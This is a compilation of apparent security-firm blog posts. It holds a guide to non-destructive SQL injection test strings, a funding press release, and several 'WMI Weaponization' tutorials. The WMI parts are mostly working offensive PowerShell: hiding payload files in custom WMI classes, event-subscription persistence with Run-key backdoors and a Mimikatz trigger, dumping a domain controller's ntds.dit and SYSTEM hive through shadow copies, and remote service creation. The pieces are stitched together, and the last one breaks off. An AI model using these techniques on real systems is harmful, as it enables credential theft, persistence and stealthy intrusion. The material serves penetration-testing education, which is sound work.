Back

SQL Injection to Help You Sleep at Night

If there’s anything to be learned from Gitlab’s recent downtime (which they handled amazingly well), it’s that production databases need to be pampered.  They aren’t something to play around with and as penetration testers that responsibility extends to us.

Many companies will allow testing in production, it can be argued that it is the responsible thing to do; production is where a company is most likely to get hit and it’s important to test those servers.  While everything said in this blog should be followed in non-prod environments, it isn’t a catastrophe if non-prod data is modified.  As a penetration tester it starts becoming catastrophic when one mistake in production can lead to outages and having to restore from backups, if they even exist.  There has to be a way to test SQL Injection without the risk of modifying production data accidentally.

A google search for “Safe SQL Injection” will return 0 relevant results.  Surely others have written on this topic and other NetSPI employees have mentioned how they go about this, but the goal of this blog is to make this subject visible and easily accessible.

Setup

Starting with setting up the databases, 3 popular Relational Database Management Systems and their associated syntaxes will be used.

RDBMS Create Table
MySQL 5.7.12
CREATE TABLE USERS (
username VARCHAR(100)  NOT NULL,
password VARCHAR(100) NOT NULL,
email VARCHAR(100)    NOT NULL
)
;
MSSQL Server 2014 Express Edition
CREATE TABLE USERS
(username varchar(100), 
password varchar(100), 
email varchar(100))
;
Oracle SQL 12c
CREATE TABLE USERS
("username" VARCHAR2(100),
"password" VARCHAR2(100),
"email" VARCHAR2(100)
)
/

Go ahead and add some users as well.

RDBMS Add Users
MySQL 5.7.12
INSERT INTO USERS (username, password, email) values
('jake','reynolds','jreynoldsdev@gmail.com'),
('net','spi','alex@netspi.com'),
('johnjacob','jingle','heimer@schmidt.com');
MSSQL Server 2014 Express Edition
INSERT INTO USERS
(username, password, email) VALUES
('jake','reynolds','jreynoldsdev@gmail.com'),
('net','spi','alex@netspi.com'),
('johnjacob','jingle','heimer@schmidt.com');
Oracle SQL 12c
INSERT into USERS ("username", "password", "email") values 
('jake','reynolds','jreynoldsdev@gmail.com'),
('net','spi','alex@netspi.com'),
('johnjacob','jingle','heimer@schmidt.com')
/

Pen Tester’s First Day at Work

Now every database has a table called USERS with the structure:

   username password email
1 jake reynolds jreynoldsdev@gmail.com
2 net spi alex@netspi.com
3 johnjacob jingle heimer@schmidt.com

This is usually the first table any pen tester would test against since it is called from every login form.  A simple query is used here:

SELECT username FROM USERS WHERE username='$username' and password='$password';

There’s not much harm to this query, aside from being vulnerable to SQLi.  As a tester tossing in a ‘ or 1=1 —  here or there won’t hurt anybody.  How about the next time this table comes into play?  When a user wants to update their email address the query looks somewhat like:

UPDATE USERS set email='$email' where username='$username';

Now here’s a weekend ruiner if the test is in production.  Giving this input form the simple test of ‘; —  can ruin the entire Users table.

UPDATE USERS set email=''; -- where username = '$username';
   username password email
1 jake reynolds
2 net spi
3 johnjacob jingle

CRAP.

Every email in the company’s database has been deleted.  Maybe they have backups, but it’s not St. Patrick’s Day so luck is a little short. What happens now?  Dust off that resume and hope to not make the same mistake with future employers.

How to Keep Future Jobs

There are a couple ways to avoid this mistake and they come down to taking an extra second to think about the query format before inserting injection strings.  Going back to the update query, look at it from another angle.

UPDATE USERS set email='$email' where username='$username';

This would be blind to testers, but it would be behind a request similar to:

POST /updateEmail HTTP/1.1
Host: jakereynolds.co
Connection: close
Content-Length: 165
Content-Type: application/x-www-form-urlencoded

username=jake&email=jreynoldsdev@gmail.com

It’s clear that an email parameter is going to be inserted into a query.  Our goal is to find some strings that can be inserted without ruining everyone’s weekend.

The first attempt is string concatenation, breaking out of the query and appending something to our string.  This allows the rest of the query to still be valid and shows if the parameter is vulnerable.

MSSQL MySQL Oracle
'+'concat
con' 'cat'
'||'concat

These strings all result in the query looking similar to:

UPDATE USERS set email=''+'concat' where username='jake';
   username password email
1 jake reynolds concat
2 net spi alex@netspi.com
3 johnjacob jingle heimer@schmidt.com

Now everyone is hunky-dory, but none of the queries are the same across the 3 RDBMS’.  What other options are available for these 3?  MySQL and Oracle allow arithmetic operators on numeric strings.  If the injection does not need to escape a quote, MSSQL can be used as well with integers.

MSSQL MySQL Oracle
1+1
1-1
1/1
1*1
'='test
1'+'1
1'-'1
1'/'1
1'*'1
1'+'1
1'-'1
1'/'1
1'*'1

Using addition from MySQL shows this is possible with strings and numbers.

UPDATE USERS set email='1'+'1' where username='jake';
   username password email
1 jake reynolds 2
2 net spi alex@netspi.com
3 johnjacob jingle heimer@schmidt.com

So all 3 of the RDBMS’ have some options to use, but this is operating under the assumption that it doesn’t matter what database is being tested.  What option is there to safely inject a string blindly into any of these 3 databases?

The Blind Leading the Blind

It was difficult to find any operators, functions, etc… that executed in the same way across all 3 databases.  Although, coming up from behind for a cheap 2nd is one operator that works on all 3, just doing different things.

In MSSQL the + character acts as a form of string concatenation, as presented above.  MySQL and Oracle initially failed any tests for this operator until it came clear that they are for integer arithmetic.  That gives the magical injection string of:

MSSQL MySQL Oracle
1'+'1
1'+'1
1'+'1
UPDATE USERS set email='1'+'1' where username='jake';

   username password email
1 jake reynolds 2
2 net spi alex@netspi.com
3 johnjacob jingle heimer@schmidt.com

In MSSQL the output will become 11, due to string concatenation.

There it is!  We now have an option that will allow us to inject blindly into queries for 3 major RDBMS’, without potentially destroying their tables.  The challenge going forward is expanding this to fit more RDBMS’ and to fit more complicated scenarios.  That will be left as a challenge to the user, but if you have any other ideas or comments please let us know below!

Back

Getting Started with WMI Weaponization – Part 6

Covert File Storage

Lets look at another practical example of weaponizing WMI using PowerShell. Earlier we went over how to create a custom WMI class. Using this class along with the Set-WmiInstance command we can create a class that we can then use to store files as Base64 Encoded strings.

To simplify this process, I created a module called Invoke-WMIFS.ps1. To start we will import the module:

PS C:\> Import-Module Invoke-WMIFS.ps1

This module provides the following functions:

  • Get-WmiLength
  • New-WmiClass
  • ConvertTo-Base64
  • ConvertFrom-Base64
  • Invoke-InsertFile
  • Invoke-RetrieveFile

To start, we use the function New-WmiClass to create a class that is preconfigured to store the files.

PS C:\> $ClassName = "WMIFS"
PS C:\> New-WmiClass -ClassName $ClassName

Path          : \\.\root\cimv2:WMIFS
RelativePath  : WMIFS
Server        : .
NamespacePath : root\cimv2
ClassName     : WMIFS
IsClass       : True
IsInstance    : False
IsSingleton   : False

PS C:\> Get-CimClass -ClassName $ClassName

 NameSpace: ROOT/cimv2
CimClassName CimClassMethods CimClassProperties
------------ --------------- ------------------
WMIFS        {}              {FileName, FileStore, Index}

This new class has three properties: FileStore, FileName, and Index.

We then use the function Get-WmiLength to retrieve the max length of a string that can be inserted into the class. This can vary somewhat and should be discovered each time.

PS C:\> $Length = Get-WmiLength -Verbose -ClassName $ClassName
VERBOSE: Testing Length 8000
[TRUNCATED]
VERBOSE: Testing Length 8143
Set-WmiInstance : Quota violation
At C:\Invoke-WMIFS.ps1:19 char:27
+ ... $Insert = Set-WmiInstance -Class $ClassName -Arguments @{
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 + CategoryInfo : InvalidOperation: (:) [Set-WmiInstance], ManagementException
 + FullyQualifiedErrorId : SetWMIManagementException,Microsoft.PowerShell.Commands.SetWmiInstance

PS C:\> $Length
8143

In this test we are looking for WMI to throw a Quota Violation indicating the string is too long to be inserted.

In this example, we are inserting an executable file, and for this we use the ConvertTo-Base64 function.

PS C:\> $FileName = "payload.exe"
PS C:\> $EncodedText = ConvertTo-Base64 -FileName $FileName -Verbose
VERBOSE: Reading C:\Windows\System32\payload.exe
VERBOSE: Encoding C:\Windows\System32\payload.exe
VERBOSE: Finished Encoding C:\Windows\System32\payload.exe

Then to place the file into out WMIFS WMI class we use the Invoke-InsertFile function. This will slice the file into lengths predetermined by Get-WmiLength and place the chunks into the class we created.

PS C:\> Invoke-InsertFile -EncodedText $EncodedText -FileName $FileName -ClassName $ClassName -StrLen $Length -Verbose
VERBOSE: Inserting Section: 0 to 8100
[TRUNCATED]
VERBOSE: Inserting Section: 1927800 to 1935900

To later retrieve the file, we use the Invoke-RetrieveFile, which operates Invoke-InsertFile in reverse. It will retrieve the file from WMI and then reassemble it in order.

PS C:\> $File = Invoke-RetrieveFile -FileName $FileName -ClassName $ClassName -Verbose3
VERBOSE: Reading Section 0 (8100) 
[TRUNCATED] 
VERBOSE: Reading Section 238 (7468)

Then to write the file back to disk, we use the ConvertFrom-Base64 function.

PS C:\> ConvertFrom-Base64 -EncodedText $File -FileName 'C:\innocuous.pdf' -Verbose
VERBOSE: Decoding File
VERBOSE: Finished Decoding File
VERBOSE: Writing File to Disk as C:\innocuous.pdf

Additionally, the option to use the pipeline and encrypt the file store is available. By default, it uses the current user’s certificate as the encryption key, but optionally a key can be explicitly specified.

PS C:\> ConvertTo-Base64 -FileName .\SuperSecret.pdf -Verbose | Invoke-InsertFile -FileName SuperSecret.pdf -ClassName WMIFS -Encrypt -Verbose
VERBOSE: Reading .\SuperSecret.pdf
VERBOSE: Encoding .\SuperSecret.pdf
VERBOSE: Finished Encoding .\SuperSecret.pdf
VERBOSE: Inserting Section: 0 to 1904 (0)
VERBOSE: Inserting Section: 1904 to 3808 (1)
VERBOSE: Inserting Section: 3808 to 5712 (2)
VERBOSE: Inserting Section: 5712 to 7616 (3)
...

Later the file can be retrieved and decrypted.

PS C:\> Invoke-RetrieveFile -FileName SuperSecret.pdf -ClassName WMIFS -Decrypt -Verbose | ConvertFrom-Base64 -WriteToDisk -FileName .\SuperSecret.pdf
VERBOSE: Reading Section 0 (7908)
VERBOSE: Reading Section 1 (7908)
VERBOSE: Reading Section 2 (7908)
VERBOSE: Reading Section 3 (7908) 
...
Back

NetSPI Raises Growth Capital From Sunstone Partners

Minneapolis, Minnesota  –  ​​​​NetSPI LLC, the leading security testing and vulnerability correlation company, today announced the completion of a strategic growth equity financing led by Sunstone Partners. The investment will allow NetSPI to accelerate development of new products and service offerings, penetrate new verticals, and expand geographically.

NetSPI has grown profitably every year since its founding in 2001, and this financing marks the first institutional capital ever raised by the company. NetSPI currently supports many of the top 10 financial institutions, healthcare providers, and technology companies.

“Our clients are under intense pressure from business, regulatory, and governance perspectives to partner with cybersecurity experts to increase their security posture to safeguard their organization against the volatile and ever-evolving threat landscape.  Our solution portfolio comprises of a world-class proprietary software platform, CorrelatedVM®, encapsulated with deep professional services expertise which is empowering global organizations to scale and operationalize their security programs,” said Deke George, NetSPI’s Co-Founder and CEO. “We are looking forward to our partnership with Sunstone Partners given their team’s successful track record and experience in cybersecurity.”

According to the report, “Penetration Testing Market by Testing Service (Network, Web, Mobile, Social Engineering, Wireless, Embedded Devices and Industrial Control System), Deployment Mode (Cloud and On-Premises), Organization Size, Vertical, and Region – Global Forecast to 2021,” published by MarketsandMarkets, penetration testing market size is estimated to grow from USD 594.7 Million in 2016 to USD 1,724.3 Million by 2021, at a Compound Annual Growth Rate (CAGR) of 23.7% during the forecast period. 2015 is considered to be the base year while the forecast period is 2016–2021.

“We have known NetSPI for several years and have been consistently impressed by the team’s culture, product offering, and loyal customer base,” said Gustavo Alberelli, Managing Director at Sunstone Partners. “NetSPI’s enterprise customers repeatedly stress their satisfaction and growing need for NetSPI’s differentiated solutions, especially given the increasing number of connected applications susceptible to vulnerabilities and advanced persistent threats. Security testing continues to be the fastest-growing subsegment within cybersecurity, and we are excited to partner with the NetSPI team to maximize the company’s full potential.”

As part of the investment, the new board of directors will include Gustavo Alberelli and Michael Biggee, Managing Directors at Sunstone Partners, Scott Hammack, and Stuart Scholly joined by Deke George. Hammack will serve as NetSPI’s Executive Chairman. Hammack and Scholly most recently worked with the Sunstone Partners team while serving as CEO and President respectively of Prolexic Technologies, the leading Distributed Denial of Service (DDoS) mitigation provider, which Akamai acquired in February 2014 for $415 million. Mooreland Partners LLC acted as exclusive financial advisor to NetSPI LLC in connection with this transaction.

About NetSPI

NetSPI is the leading provider of application and network security testing solutions that support organizations in scaling and operationalizing their threat and vulnerability management programs.  The solution portfolio includes both security testing services and a software platform, CorrelatedVM®, trusted by many of the Fortune 250. NetSPI’s clients consist of financial institutions, healthcare providers, retailers, and technology companies.  NetSPI is based in Minneapolis and has additional offices in New York and Portland.

About Sunstone Partners

Sunstone Partners is an investment firm focused on growth equity investments and majority buyouts in technology businesses. The firm is a spin-out of the growth equity team of Trident Capital, a multi-stage investment firm with seven funds and $1.9 billion of capital under management since 1993. The firm is currently investing out of Sunstone Partners I, LP, a fund with $310 million of committed capital. Sunstone Partners is headquartered in the San Francisco Bay Area.

Back

Getting Started with WMI Weaponization – Part 5

Establishing Persistence with WMI

Like SQL, WMI can be setup with a set of Triggers. We can use these triggers to maintain persistence on a system by launching commands after a specified event is detected. These are stored in the root/subscription namespace and fall into two broad categories, Intrinsic Events and Extrinsic Events.

Intrinsic Events

Intrinsic events work off a polling rate, wherein WMI polls the Windows Event Tracer at a set interval, checking if an event has occurred. The WMI polling must occur while the event is occurring or else WMI will miss the event and not trigger. Due to this, WMI triggers with an insufficient polling rate have the potential to miss events.

Extrinsic Events

Extrinsic Events, instead of working off a polling rate where the event is pulled into WMI, have the event pushed into WMI. Due to this, the trigger will not miss the event. While Extrinsic events are more reliable, there are also far fewer events that trigger this way.

Breakdown of Triggering

WMI triggers consist of three parts:

  1. Filter
  2. Consumer
  3. Binding

Let’s look at an example of an intrinsic event similar to what is in the awesome PowerLurk WMI persistence script:

Filter

The filter looks for the triggering event.

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
       EventNamespace = 'root/cimv2'
       Name = "Backdoor Logon Filter"
       Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
       QueryLanguage = 'WQL'
}

In this example, we use the Set-WmiInstance commandlet to create a new instance of an EventFilter in the root\subscription namespace. In this we define a query that polls from the InstanceCreationEvent class looking for an Instance that matches the Win32_LoggedOnUser class. The polling rate is defined in the WITHIN 10 clause.

Consumer

The consumer is launched upon the successful match of a filter. Now let’s look at an example consumer:

$command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value texttext"
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
       Name = "Backdoor Consumer"
       CommandLineTemplate = $Command
}

In this example, we create an instance within the CommandLineEventConsumer class which is also located in the root\subscription namespace. This type of consumer can execute a series of commands on the command line.

Binding

Now let’s examine a binding

Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{
       Filter = $Filter
       Consumer = $Consumer
}

A binding takes an EventFilter and ties it to a consumer that is executed whenever the filter is matched. This entire sequence of events will look for a user logon event and then afterwords execute a command. In this instance, we just created a file, however a more imaginative attacker could do far more interesting things.

The previous was an example of an Intrinsic event. Let’s now examine a slightly more complicated example that uses and Extrinsic event.

$Path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
$Name = "Registry Backdoor"
$Value = "C:\evil.exe"
$Command = "powershell.exe -Command Set-ItemProperty $path -Name $name -Value $value"

$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{
       EventNamespace = 'root/cimv2'
       Name = "Backdoor Registry Filter"
       Query = "SELECT * FROM RegistryValueChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath=''SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\'' AND ValueName = '$name'"
       QueryLanguage = 'WQL'
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{
       Name = "Backdoor Registry Consumer"
       CommandLineTemplate = $Command
}
$Binding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{
       Filter = $Filter
       Consumer = $Consumer
}

In this instance we setup an extrinsic event that looks for a registry entry change in theHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ key and upon detecting the change restores the keys value.

There are many possible uses for WMI Event Triggers and Consumers. For instance we could trigger on a password change event and run Invoke-Mimikatz afterword.

Back

Getting Started with WMI Weaponization – Part 4

Stealing the NTDS.dit File Remotely using the WMI Win32_ShadowCopy Class

Dumping password hashes is a pretty common task during pentest and red team engagements. For domain controllers, it can be done a number of different ways including, but not limited to, DCSync (drsuapi), lsadump, and parsing the ntds.dit directly.  Sean Metcalf has already covered how to execute the password hash recovery both locally and remotely in an amazing blog. Each with its own set of IoCs.  In this post I’ll cover yet another method for recovering the ntds.dit file remotely using WMI Volume Shadow Copy methods, but the methods described here could also be used to retrieve local password hashes from the SAM and SYSTEM file. Please note the technique described here does require domain administrative privileges.

Why would I use this technique?

On the whole, this technique will provide penetration testers with another means of dumping the ntds.dit via volume shadow copies without having to call the vssadmin.exe tool.  This helps to decrease the number of indicator related to the attack.  Testing with this method can also help to push against blue team’s defense to make sure they can identify slight variations on this common attack.

Let’s See Some Command Examples

Let’s just jump right into it. Below are the PowerShell WMI commands to dump the ntds from a remote domain controller using the Win32_ShadowCopy class functions.

  1. First, map the c$ of the target domain controller. This isn’t required, but can simplify the process.
    PS C:\windows\system32> New-PSDrive -Name "S" -Root "\\10.1.1.1\c$" -PSProvider "FileSystem"
    
    Name           Used (GB)     Free (GB) Provider      Root
    ----           ---------     --------- --------      ----
    S                                      FileSystem    \\10.1.1.1\c$
    
    PS C:\windows\system32> cd s:
    PS S:\> ls
    
        Directory: \\10.1.1.1\c$
    
    Mode                LastWriteTime     Length Name
    ----                -------------     ------ ----
    d----         2/13/2015   8:27 PM            PerfLogs
    d-r--         8/26/2016   8:00 PM            Program Files
    d-r--         6/13/2016   7:00 PM            Program Files (x86)
    d-r--         12/5/2016   2:38 PM            Users
    d----          2/5/2017   4:16 PM            Windows
  2. Then, create a shadow copy of the C:\ drive on the remote domain controller using the “Win32_ShadowCopy” class. Note that the new shadow copy has a unique “ShadowId”.
    PS S:\> $wmi = Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList 'ClientAccessible','C:\' -ComputerName 10.1.1.1
    PS S:\> $wmi
    
    __GENUS          : 2
    __CLASS          : __PARAMETERS
    __SUPERCLASS     :
    __DYNASTY        : __PARAMETERS
    __RELPATH        :
    __PROPERTY_COUNT : 2
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    ReturnValue      : 0
    ShadowID         : {7DE8D573-A8BFB-41E6-92F6-A34938E432FC}
    PSComputerName   :
  3. Next, convert the “ShadowId” to a string and use it to query the domain controller for more information about the shadow copy. Specifically, we want the “DeviceObject”. This will give us the path to our newly created shadow copy.
    PS S:\> $ShadowID = $wmi.ShadowID.ToString()
    
    PS S:\> $ShadowID
    {7DE8D573-A8FB-41E6-92F6-A34938E432FC}
    
    PS S:\> $ShadowCopy = Get-WmiObject -Query "SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = '$ShadowID'" -ComputerName 10.1.1.1
    
    PS S:\> $ShadowCopy
    
    __GENUS          : 2
    __CLASS          : Win32_ShadowCopy
    __SUPERCLASS     :
    __DYNASTY        :
    __RELPATH        :
    __PROPERTY_COUNT : 1
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    DeviceObject     : \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1621
    PSComputerName   :
  4. Next, convert the “DeviceObject” to a string so it can be used in future WMI queries.
    PS S:\> $DeviceObject = $ShadowCopy.DeviceObject.ToString()
    PS S:\> $DeviceObject
    \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1621
  5. Now copy the ntds.dit directly from the shadow copy path on the domain controller using the WMI “Win32_Process” class. By default, the ntds.dit can be stored in both the C:\Windows\NTDS and C:\Windows\System32\ directories. Below are example commands for both.
    PS S:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\System32\ntds.dit C:\" -ComputerName 10.1.1.1
    PS S:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\NTDS\ntds.dit C:\" -ComputerName 10.1.1.1
    PS S:\> Copy-Item S:\ntds.dit C:\
    PS S:\> Remove-Item S:\ntds.dit
    PS S:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\System32\config\SYSTEM C:\" -ComputerName 10.1.1.1
    PS S:\> Copy-Item S:\SYSTEM.dit C:\
    PS S:\> Remove-Item S:\SYSTEM
    PS S:\> Set-Location C:\
    PS C:\> Remove-PSDrive S

But what if the ntds.dit file isn’t stored on the C drive?

Surprise! Sometimes admins put system files in strange places. If you can’t find the ntds.dit in its default locations, you can determine where it’s hiding by looking in the registry.  Below I’ll show how to use PowerShell Remoting to look up the alternative location and dump the ntds.dit.

  1. To prep our box we are going to enable PowerShell Remoting, enabled the WinRM service, and set the domain controller as a trusted host.
    PS C:\> Enable-PSRemoting –Force –SkipNetworkProfileCheck
    PS C:\> Start-Service WinRM
    
    WinRM Security Configuration.
    This command modifies the TrustedHosts list for the WinRM client. The computers
    in the TrustedHosts list might not be authenticated. The client might send
    credential information to these computers. Are you sure that you want to modify
    this list?
    
    [Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): Y
  2. Now start a new PowerShell Remoting session to the domain controller. From there we can grab the location of the elusive non-standard ntds.dit file path.
    PS C:\> Enter-PSSession 10.1.1.1
    [10.1.1.1]: PS C:\Users\admin\Documents> Set-Location C:\
    [10.1.1.1]: PS C:\> $DitPath = (Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters -Name "DSA Database file").'DSA Database file'
    [10.1.1.1]: PS C:\> $DitPath
    D:\NTDS\ntds.dit

This could also be done remotely via WMI

PS C:\> $Hive = [uint32]2147483650
PS C:\> $Key = "SYSTEM\\CurrentControlSet\\Services\\NTDS\Parameters"
PS C:\> $Value = "DSA Database File"
PS C:\> $DitPath = (Invoke-WmiMethod -Class StdRegProv -Name GetStringValue -ArguementList $Hive, $Key, $Value -ComputerName 10.1.1.1).sValue
PS C:\> $DitPath
D:\NTDS\ntds.dit
  1. Now that we have the path we’ll create our shadow copy and grab the “DeviceObject” so we can copy the file off.
    [10.1.1.1]: PS C:\> $DitRelativePath = $DitPath.Split("\")[1..($DitPath.Length)] -Join "\"
    [10.1.1.1]: PS C:\> $wmi = Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList 'ClientAccessible','F:\'
    [10.1.1.1]: PS C:\> $wmi
    
    __GENUS          : 2
    __CLASS          : __PARAMETERS
    __SUPERCLASS     :
    __DYNASTY        : __PARAMETERS
    __RELPATH        :
    __PROPERTY_COUNT : 2
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    ReturnValue      : 0
    ShadowID         : {A6EAFEDD-8FB2-4EBE-A13B-C992C7E2E265}
    PSComputerName   :
    
    [10.1.1.1]: PS C:\> $ShadowID = $wmi.ShadowID.ToString()
    {A6EAFEDD-8FB2-4EBE-A13B-C992C7E2E265}
    [10.1.1.1]: PS C:\> $ShadowCopy = Get-WmiObject -Class Win32_ShadowCopy -Property DeviceObject -Filter "ID = '$($wmi.ShadowID)'"
    [10.1.1.1]: PS C:\> $ShadowCopy
    
    __GENUS          : 2
    __CLASS          : Win32_ShadowCopy
    __SUPERCLASS     :
    __DYNASTY        :
    __RELPATH        :
    __PROPERTY_COUNT : 1
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    DeviceObject     : \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1641
    PSComputerName   :
    
    [10.1.1.1]: PS C:\> $DeviceObject = $ShadowCopy.DeviceObject.ToString()
    [10.1.1.1]: PS C:\> $DeviceObject
    \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1641
  2. The powershell native Copy-Item fails to retrieve the file from the VolumeShadow Copy snapshot. So we are going to get fancy with our file copy to change it up a little. First we are going to get the runtime version and directory of .net.
    [10.1.1.1]: PS C:\> $mscorlib = [System.Reflection.Assembly]::LoadFile("$([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())mscorlib.dll")
    [10.1.1.1]: PS C:\> $mscorelib
    
    GAC    Version        Location
    ---    -------        --------
    True   v4.0.30319     C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorl...
  3. Next, we instantiate an object from the “Win32.Win32Native” class.
    [10.1.1.1]: PS C:\> $Win32Native = $mscorlib.GetType(‘Microsoft.Win32.Win32Native’)
    [10.1.1.1]: PS C:\> $Win32Native
    
    IsPublic IsSerial Name                                     BaseType
    -------- -------- ----                                     --------
    False    False    Win32Native                              System.Object
  4. This object will then be used to call the native “CopyFile”.
    [10.1.1.1]: PS C:\> $CopyFile =  $Win32Native.GetMethod(‘CopyFile’, ([Reflection.BindingFlags] ‘NonPublic, Static’))
    [10.1.1.1]: PS C:\> $CopyFile
    
    Name                       : CopyFile
    DeclaringType              : Microsoft.Win32.Win32Native
    ReflectedType              : Microsoft.Win32.Win32Native
    MemberType                 : Method
    MetadataToken              : 100677580
    Module                     : CommonLanguageRuntimeLibrary
    IsSecurityCritical         : True
    IsSecuritySafeCritical     : False
    IsSecurityTransparent      : False
    MethodHandle               : System.RuntimeMethodHandle
    Attributes                 : PrivateScope, Assembly, Static, HideBySig,
                                 PinvokeImpl
    CallingConvention          : Standard
    ReturnType                 : System.Boolean
    ReturnTypeCustomAttributes : Boolean
    ReturnParameter            : Boolean
    IsGenericMethod            : False
    IsGenericMethodDefinition  : False
    ContainsGenericParameters  : False
    MethodImplementationFlags  : PreserveSig
    IsPublic                   : False
    IsPrivate                  : False
    IsFamily                   : False
    IsAssembly                 : True
    IsFamilyAndAssembly        : False
    IsFamilyOrAssembly         : False
    IsStatic                   : True
    IsFinal                    : False
    IsVirtual                  : False
    IsHideBySig                : True
    IsAbstract                 : False
    IsSpecialName              : False
    IsConstructor              : False
    CustomAttributes           : {[System.Runtime.InteropServices.DllImportAttribut
                                 e("kernel32.dll", EntryPoint = "CopyFile",
                                 CharSet = 4, ExactSpelling = False, SetLastError
                                 = True, PreserveSig = True, CallingConvention =
                                 1, BestFitMapping = False, ThrowOnUnmappableChar
                                 = False)], [System.Runtime.InteropServices.Preserv
                                 eSigAttribute()]}
  5. Next we are going to copy the ntds.dit and SYSTEM files to the C:\ drive on the domain controller. The SYSTEM file is also downloaded so the boot key can be extracted to decrypt the ntds.dit file.

    Note: could also be directly written to a network share the attacker controls.

    [10.1.1.1]: PS C:\> $CopyFile.Invoke($null, @("$DeviceObject\$DitRelativePath", "C:\ntds.dit", $false))
    True
    
    [10.1.1.1]: PS C:\> $CopyFile.Invoke($null, @("$DeviceObject\Windows\System32\config\SYSTEM", "C:\SYSTEM", $false))
    True
  6. Now copy our files off of the C:\ drive of the domain controller, and clean up.
    [10.1.1.1]: PS C:\> Exit-PSSession
    PS C:\> New-PSDrive -Name "S" -Root "\\10.4.67.201\c$" -PSProvider "FileSystem"
    PS C:\> Copy-Item S:\ntds.dit C:\
    PS C:\> Remove-Item S:\ntds.dit
    PS C:\> Copy-Item S:\SYSTEM C:\
    PS C:\> Remove-Item S:\SYSTEM
    PS C:\> Remove-PSDrive "S"

After you have the ntds.dit you can parse it offline using a variety of tools.

Back

Getting Started with WMI Weaponization – Part 3

Administrative Tasks with WMI

Substantive changes to the configuration of a system can be made with WMI. These are often overlooked as there are other and less obscure methods to accomplish the same goal. That said, the ability to run these commands remotely through a different medium make these classes quite capable.

Service Creation

Let’s examine the Win32_Service class the same way we did in the previous post:

(Get-CimClass -ClassName Win32_Service).CimClassMethods

Name                  ReturnType Parameters                                                      Qualifiers
----                  ---------- ----------                                                      ----------
StartService              UInt32 {}                                                              {Mappin...
StopService               UInt32 {}                                                              {Mappin...
PauseService              UInt32 {}                                                              {Mappin...
ResumeService             UInt32 {}                                                              {Mappin...
InterrogateService        UInt32 {}                                                              {Mappin...
UserControlService        UInt32 {ControlCode}                                                   {Mappin...
Create                    UInt32 {DesktopInteract, DisplayName, ErrorControl, LoadOrderGroup...} {Mappin...
Change                    UInt32 {DesktopInteract, DisplayName, ErrorControl, LoadOrderGroup...} {Mappin...
ChangeStartMode           UInt32 {StartMode}                                                     {Mappin...
Delete                    UInt32 {}                                                              {Mappin...
GetSecurityDescriptor     UInt32 {Descriptor}                                                    {implem...
SetSecurityDescriptor     UInt32 {Descriptor}                                                    {implem...

Filtering down we can find a create method.

(Get-CimClass -ClassName Win32_Service).CimClassMethods | ? Name -Like Create

Name   ReturnType Parameters                                                      Qualifiers                       
----   ---------- ----------                                                      ----------                       
Create     UInt32 {DesktopInteract, DisplayName, ErrorControl, LoadOrderGroup...} {MappingStrings, Static, ValueMap}

Nice! We have located a create method within the Win32_Service class. Let’s see what parameters it takes:

((Get-CimClass -ClassName Win32_Service).CimClassMethods | ? Name -Like Create).Parameters

Name                           CimType Qualifiers                         ReferenceClassName
----                           ------- ----------                         ------------------
DesktopInteract                Boolean {ID, In, MappingStrings}                            
DisplayName                     String {ID, In, MappingStrings}                            
ErrorControl                     UInt8 {ID, In, MappingStrings}                            
LoadOrderGroup                  String {ID, In, MappingStrings}                            
LoadOrderGroupDependencies StringArray {ID, In, MappingStrings}                            
Name                            String {ID, In, MappingStrings}                             
PathName                        String {ID, In, MappingStrings}                            
ServiceDependencies        StringArray {ID, In, MappingStrings}                            
ServiceType                      UInt8 {BitMap, ID, In, MappingStrings}                    
StartMode                       String {ID, In, MappingStrings, ValueMap}                  
StartName                       String {ID, In, MappingStrings}                            
StartPassword                   String {ID, In, MappingStrings}

Now that we have collected all of the relevant information about creating a service, lets fill in the parameters. Note: The MOF above is position sensitive.

$ServiceType = [byte] 16
$ErrorControl = [byte] 1

Invoke-WmiMethod -Class Win32_Service -Name Create -ArgumentList `
  $false,`
  "WMI Created Service",`
  $errorcontrol,`
  $null,`
  $null,`
  "WMICreatedService",`
  "C:\Program Files (x86)\PuTTY\plink.exe",`
  $null,`
  $servicetype,`
  "Manual",`
  "NT AUTHORITY\SYSTEM",`
  ""

__GENUS          : 2
